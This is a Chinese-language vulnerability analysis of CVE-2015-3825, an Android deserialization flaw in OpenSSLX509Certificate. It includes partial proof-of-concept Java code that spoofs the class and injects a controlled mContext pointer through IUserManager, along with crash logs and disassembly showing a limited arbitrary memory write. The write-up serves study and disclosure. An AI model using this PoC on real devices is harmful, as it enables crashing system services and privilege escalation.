跳跳糖
没羽@阿里移动安全
0x00 序
序列化 (Serialization)，是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间，对象将其当前状态写入到临时或持久性存储区。使用者可以通过从存储区中读取或反序列化对象的状态，重新创建该对象。
Android也有许多场景使用序列化进行数据传递，如App间/内的对象传递、Binder通信的数据传递等等，一般涉及跨进程、跨权限。序列化/反序列也是程序/接口的一个输入，存储区的内容或序列是可被随机填充，如果使用时验证不完整，也会导致安全漏洞。在Android系统中，可通过序列化/反序列化漏洞实现App拒绝服务、提升权限等攻击。
0x01 漏洞成因
这个Android序列化漏洞(CVE-2015-3825)，影响Android4.3及Android5.1版本，也就是Jelly Bean、KitKat、棒棒糖和Android M预览版1，波及55%的Android设备。可在受影响的设备上提权到system权限，也就意味着攻击者可以通过替换目标应用的apk接管受害者手机上的任意应用。这个漏洞是由的IBM安全团队Or Peles和Roee Hay在USENIX 2015大会上的议题《ONE CLASS TO RULE THEM ALL 0-DAY DESERIALIZATION VULNERABILITIES IN ANDROID》【1】。
2.1 PoC构造
Paper作者没放出Exploit也没放出PoC，根据这篇paper我们可以知道，漏洞出在OpenSSLX509Certificate（全包名路径为com.android.org.conscrypt.OpenSSLX509Certificate）类，OpenSSLX509Certificate类满足：
1）OpenSSLX509Certificate是可序列化的，因为他继承自可序列化的Certificate类；
2）它有一个finalize()方法，并且有调用native的方法（libjavascrypto.so中），参数field mContext，long型（实际为指针类型）；
3）OpenSSLX509Certificate也没有实现特定的反序列化方法（readObject和readResolve）；
其中mContext就是要找的可被攻击控制的指针。
我对CVE-2014-7911的POC进行了改造，首先定义类com.android.org.conscrypt.ApenSSLX509Certificate，如下：
public class ApenSSLX509Certificate implements Serializable {
//private static final long serialVersionUID = -5454153458060784251L;//android4.4.2 emulator
private static final long serialVersionUID = -8550350185014308538L;//android 5.1.1 emulator
public final long mContext;
ApenSSLX509Certificate(long ctx) {
mContext = ctx;
}
}
注意包名为com.android.org.conscrypt，然后在同包名下创建一个MainActivity.java，对ApenSSLX509Certificate进行调用：
com.android.org.conscrypt.ApenSSLX509Certificate evilProxy = new com.android.org.conscrypt.ApenSSLX509Certificate(0x7f7f7f7f7f7f7f7fL);
b.putSerializable("eatthis", evilProxy);
和CVE-2014-7911 PoC一样，向“android.os.IUserManager”的service发送请求前，修改类名：
int l = data.length;
for (int i=0; i<l-4; i++) {
if (data[i] == 'A' && data[i+1] == 'p' && data[i+2] == 'e' && data[i+3] == 'n') {
data[i] = 'O';
break;
}
}
类似CVE-2014-7911的分析，我们也对service.jar加一些日志信息输出，在Android 4.4.2的AVD中，安装、运行PoC，我们看到：
E/CVE-2014-7911-trace(1669): setApplicationRestrictions
E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked
E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked::for::eatthis
E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked::for::else
E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked::Exception
E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked::Exception::java.lang.ClassCastException: com.android.org.conscrypt.OpenSSLX509Certificate cannot be cast to java.lang.String[]
W/System.err(1669): java.lang.ClassCastException: com.android.org.conscrypt.OpenSSLX509Certificate cannot be cast to java.lang.String[]
at com.android.server.pm.UserManagerService.writeApplicationRestrictionsLocked(UserManagerService.java:1417)
at com.android.server.pm.UserManagerService.setApplicationRestrictions(UserManagerService.java:1124)
at android.os.IUserManager$Stub.onTransact(IUserManager.java:245)
W/System.err(1669): at android.os.Binder.execTransact(Binder.java:404)
W/System.err(1669): at dalvik.system.NativeStart.run(Native Method)
E/UserManagerService(1669): Error writing application restrictions list
也是强制类型转换导致异常，与CVE-2014-7911的强制转换为java.io.Serializable导致的异常不同，因为传入的object本身不是序列化的对象，致使类型转换失败。CVE-2015-3825是将com.android.org.conscrypt.OpenSSLX509Certificate强制转换为java.lang.String[]而产生的异常。
验证PoC过程中，在Android 4.4.2 AVD，只触发了“Error writing application restrictions list”异常，但是GC资源回收没被触发。
在Android 5.1.1 AVD，可以通过重复发送n次的“TRANSACTION_setApplicationRestrictions”请求可以触发GC回收资源，最后导致system_server的crash:
A/libc(4839): Fatal signal 11 (SIGSEGV), code 1, fault addr 0x7f7f7f8f in tid 4848 (FinalizerDaemon)
I/DEBUG(61): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
I/DEBUG(61): Build fingerprint: 'generic/sdk_phone_armv7/generic:5.1/LKY45/1737576:eng/test-keys'
I/DEBUG(61): Revision: '0'
I/DEBUG(61): ABI: 'arm'
I/DEBUG(61): pid: 4839, tid: 4848, name: FinalizerDaemon >>> system_server <<<
I/DEBUG(61): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x7f7f7f8f
I/DEBUG(61): r0 00000000 r1 0000000c r2 00000000 r3 00000000
I/DEBUG(61): r4 b6c9766f r5 00000003 r6 ffffffff r7 7f7f7f8f
I/DEBUG(61): r8 00000075 r9 b6c24ac9 sl a78fbaa4 fp 13068980
I/DEBUG(61): ip 00000001 sp a78fba58 lr b6c3da1d pc b6c3da1c cpsr 60000030
I/DEBUG(61): backtrace:
I/DEBUG(61): #00 pc 00072a1c /system/lib/libcrypto.so (CRYPTO_add_lock+59)
I/DEBUG(61): #01 pc 000579b1 /system/lib/libcrypto.so (asn1_do_lock+68)
I/DEBUG(61): #02 pc 0005646f /system/lib/libcrypto.so
09-06 20:31:31.394: I/DEBUG(61): #03 pc 00056415 /system/lib/libcrypto.so (ASN1_item_free+12)
09-06 20:31:31.395: I/DEBUG(61): #04 pc 00017c0d /data/dalvik-cache/arm/system@framework@boot.oat
09-06 20:32:09.116: I/art(5663): Background sticky concurrent mark sweep GC freed 7340(386KB) AllocSpace objects, 0(0B) LOS objects, 45% free, 603KB/1117KB, paused 887us total 513.880ms
09-06 20:32:22.682: I/DEBUG(61): Tombstone written to: /data/tombstones/tombstone_01
2.2 异常分析
这里基于Android 5.1.1 AVD上的分析。
上面说到，“TRANSACTION_setApplicationRestrictions”请求发出后，导致一个异常，然后GC回收资源。
从源代码分析，GC调用OpenSSLX509Certificate. finalize():
@Override
protected void finalize() throws Throwable {
try {
if (mContext != 0) {
NativeCrypto.X509_free(mContext);
}
} finally {
super.finalize();
}
}
然后调用NativeCrypto.X509_free()方法，该方法在NativeCrypto.java定义如下：
public static native void X509_free(long x509ctx);
最终是在libjavacrypto.so中实现的，该函数定义在org_conscrypt_NativeCrypto.cpp文件中：
static void NativeCrypto_X509_free(JNIEnv* env, jclass, jlong x509Ref) {
X509* x509 = reinterpret_cast<X509*>(static_cast<uintptr_t>(x509Ref));
JNI_TRACE("X509_free(%p)", x509);
if (x509 == NULL) {
jniThrowNullPointerException(env, "x509 == null");
JNI_TRACE("X509_free(%p) => x509 == null", x509);
return;
}
X509_free(x509);
}
NativeCrypto_X509_free函数最后调用的X509_free是OpenSSL库提供的接口，关于如何找到该函数实现请参考附录一。
根据上面分析得到信息，在动态调试时，我们在libjavacrypto.so:: NativeCrypto_X509_free函数中下断，
.text:00008C1C sub_8C1C ; DATA XREF: .data:000175ACo
.text:00008C1C CBNZ R2, loc_8C26
.text:00008C1E LDR R1, =(aX509Null - 0x8C24)
.text:00008C20 ADD R1, PC ; "x509 == null"
.text:00008C22 B.W j_j_j_jniThrowNullPointerException
.text:00008C26
.text:00008C26 loc_8C26 ; CODE XREF: sub_8C1Cj
.text:00008C26 MOV R0, R2
.text:00008C28 B.W j_j_X509_free
.text:00008C28 ; End of function sub_8C1C
下断点后，有时会碰到单步执行异常，笔者使用的一个办法供参考：设置该lib库的所有内存节属性为可写的。
在j_j_X509_free中单步步入，到libcrypto.so: ASN1_item_free函数，
.text:00056408 EXPORT ASN1_item_free
.text:00056408 ASN1_item_free ; CODE XREF: j_ASN1_item_free+8j
.text:00056408 ; DATA XREF: .got:ASN1_item_free_ptro
.text:00056408
.text:00056408 var_C = -0xC
.text:00056408
.text:00056408 PUSH.W {R11,LR}
.text:0005640C SUB SP, SP, #8
.text:0005640E STR R0, [SP,#0x10+var_C]
.text:00056410 ADD R0, SP, #0x10+var_C
.text:00056412 MOVS R2, #0
.text:00056414 BL sub_56420
.text:00056418 ADD SP, SP, #8
.text:0005641A POP.W {R11,PC}
.text:0005641A ; End of function ASN1_item_free
sub_56420即为asn1_item_combine_free函数，定义为：
static void asn1_item_combine_free(ASN1_VALUE **pval, const ASN1_ITEM *it, int combine)
我们继续分析这个函数，
.text:00056420 sub_56420 ; CODE XREF: ASN1_item_free+Cp
.text:00056420 ; ASN1_item_ex_free+2j ...
.text:00056420 PUSH.W {R4-R10,LR}
.text:00056424 MOV R10, R0 ; R0: pval, &mContext;
.text:00056426 MOV R8, R2 ; R1: combine, int;
.text:00056428 MOV R5, R1 ; R1: it, ASN1_ITEM;
.text:00056428 ; libcrypto.so:X509_NAME_TYPE_it
.text:0005642A CMP.W R10, #0 ; if (!pval) return;
.text:0005642E BEQ.W def_5645A ; jumptable 0005645A default case
.text:00056432 LDRB R1, [R5] ; R1 <- it->itype;
.text:00056434 LDR R0, [R5,#0x10] ; R0 <- aux = it->funcs;
.text:00056436 CBZ R1, loc_56442 ; #define ASN1_ITYPE_PRIMITIVE 0x0
.text:00056438 LDR.W R2, [R10] ; !*pval
.text:0005643C CMP R2, #0
.text:0005643E BEQ.W def_5645A ; jumptable 0005645A default case
如分号后的备注所写，这段代码将初始相关变量：将&mContext存入R10，combine存入R2，it存入R5，然后验证参数的合法性。代码继续，获取aux->asn1_cb存入R9中：
.text:00056442 loc_56442 ; CODE XREF: sub_56420+16j
.text:00056442 CMP R0, #0
.text:00056444 ITT NE
.text:00056446 LDRNE.W R9, [R0,#0x10] ; R9: asn1_cb = aux->asn1_cb;
.text:0005644A CMPNE.W R9, #0
.text:0005644E BNE loc_56454 ; switch(it->itype)
.text:00056450 MOV.W R9, #0
继续，接下来调用asn1_do_lock函数：
.text:00056466 MOV R0, R10 ; jumptable 0005645A cases 1,6
.text:00056468 MOV.W R1, #0xFFFFFFFF ; 传入-1
.text:0005646C MOV R2, R5 ; it
.text:0005646E BLX j_asn1_do_lock ; int asn1_do_lock(ASN1_VALUE **pval, int op, const ASN1_ITEM *it)
.text:0005646E ; 走到这了，crash在这个函数
.text:00056472 CMP R0, #0
.text:00056474 BGT def_5645A ; jumptable 0005645A default case
此时整理asn1_do_lock函数调用时参数：R0是上面R10存储的&mContext，R1为-1，R2为上面R5存储的it。下面进入asn1_do_lock函数继续分析，取出it->funcs放入R2：
.text:00057984 LDR R2, [R2,#0x10] ; aux = it->funcs;
.text:00057986 CMP R2, #0
再取it->funcs即aux的ref_offset放入R3中，然后计算(char*)mContext+aux->ref_offset的存入R12：
.text:00057992 LDR R3, [R2,#8] ; aux->ref_offset
.text:00057994 CMP R1, #0
.text:00057996 LDR R0, [R0] ; R0 = &mContext
.text:00057998 ADD.W R12, R0, R3 ; lck = offset2ptr(*pval, aux->ref_offset);
.text:0005799C BEQ loc_579B6
接下来是调用CRYPTO_add_lock函数：
.text:000579A2 MOVS R0, #0x75
.text:000579A4 LDR R3, =(aExternalOpe_43 - 0xFA1D8)
.text:000579A6 ADD LR, PC ; _GLOBAL_OFFSET_TABLE_
.text:000579A8 LDR R2, [R2,#0xC] ; aux->ref_lock
.text:000579AA ADD R3, LR ; "external/openssl/crypto/asn1/tasn_utl.c"
.text:000579AC STR R0, [SP,#0x10+var_10] ; line: 0x75 -> 117
.text:000579AE MOV R0, R12
.text:000579B0 BLX j_CRYPTO_add_lock ; int CRYPTO_add_lock(int *pointer, int amount, int type, const char *file, int line)
进一步分析CRYPTO_add_lock函数，读取R7地址的内容再加R1（R1＝-1，这里也就是减1操作），然后再存入R1地址中：
.text:000729E0 ; int CRYPTO_add_lock(int *pointer, int amount, int type, const char *file, int line)
.text:000729E0 EXPORT CRYPTO_add_lock
.text:000729E0 CRYPTO_add_lock ; CODE XREF: j_CRYPTO_add_lock+8j
.text:000729E4 MOV R7, R0 ; R7 = (char*)mContext+aux->ref_offset
... ...
.text:000729E8 MOV R6, R1 ; R1 = -1
… …
.text:00072A1C LDR R0, [R7] ; Crash在这，此时R7为0x7F7F7F8F
.text:00072A24 ADD R6, R0
… …
.text:00072A28 STR R6, [R7] ; 如果R7指向的内存为写的，这里可以实现任意写
调试时aux->ref_offset的值为0x10，参考x509_st结构，我们猜测(char*)mContext+0x10为mContext-> references，用记录对象引用次数，管理内存的引用。再看源码tasn_fre.c (external/openssl/crypto/asn1/)【4]的asn1_item_combine_free方法：
case ASN1_ITYPE_SEQUENCE:
if (asn1_do_lock(pval, -1, it) > 0)
return;
if (asn1_cb)
{
i = asn1_cb(ASN1_OP_FREE_PRE, pval, it, NULL);
if (i == 2)
return;
}
当asn1_do_lock返回为0，即mContext-> references为0时，才调用asn1_cb函数释放资源。
继续CRYPTO_add_lock的反汇编代码分析，由于我们在Java层传入的是一个非法地址0x7f7f7f7f，所以导到内存写异常。
Google的修复方法【2】是给mContext成员添加transient修饰符，使其不被序列化。
0x03 总结
在对象序列化时，指针成员的序列化较易存在安全风险，如CVE-2014-7911中的mOrgue，CVE-2015-3825中的mContext。本漏洞（CVE-2015-3825）中由于mContext是可序列化的，而它指向的又是X509结构的指针，当传入的序列化对象在反序列化产生异常时，系统调用GC回收资源，即mContext->references减1，这里mContext是可控制的，便可导致有限制的内存任意写（多次减1）漏洞。
0x04 参考
【1】https://www.usenix.org/system/files/conference/woot15/woot15-paper-peles.pdf
【2】https://android.googlesource.com/platform/external/conscrypt/+/edf7055461e2d7fa18de5196dca80896a56e3540
【3】https://github.com/Purity-Lollipop/platform_external_conscrypt/commit/edf7055461e2d7fa18de5196dca80896a56e3540
【4】https://android.googlesource.com/platform/external/openssl/+/android-5.1.1_r13/crypto/asn1/tasn_fre.c
0x05 附录
5.1 如何找到那个叫X509_free的函数
在OpenSSL代码中怎么搜X509_free也搜索不到真正的代码实现，这是因为OpenSSL中用了一堆宏、宏嵌套定义部分函数、结构，X509_free就在其中一个。细细看代码才发现X509_free是在crypto/asn1/x_x509.c文件中由IMPLEMENT_ASN1_FUNCTIONS定义的：
IMPLEMENT_ASN1_FUNCTIONS(X509)
顺藤摸瓜找出下面几个嵌套的宏：
# define IMPLEMENT_ASN1_FUNCTIONS_fname(stname, itname, fname) \
IMPLEMENT_ASN1_ENCODE_FUNCTIONS_fname(stname, itname, fname) \
IMPLEMENT_ASN1_ALLOC_FUNCTIONS_fname(stname, itname, fname)
# define IMPLEMENT_ASN1_ALLOC_FUNCTIONS_fname(stname, itname, fname) \
stname *fname##_new(void) \
{ \
return (stname *)ASN1_item_new(ASN1_ITEM_rptr(itname)); \
} \
void fname##_free(stname *a) \
{ \
ASN1_item_free((ASN1_VALUE *)a, ASN1_ITEM_rptr(itname)); \
}
#define ASN1_ITEM_rptr(ref) (&(ref##_it))
映射到X509的定义，可以翻译如下：
X509 * X509_new(void) \
{ \
return (X509 *)ASN1_item_new(&X509_it); \
} \
void X509_free(X509 *a) \
{ \
ASN1_item_free((ASN1_VALUE *)a, &X509_it)); \
}
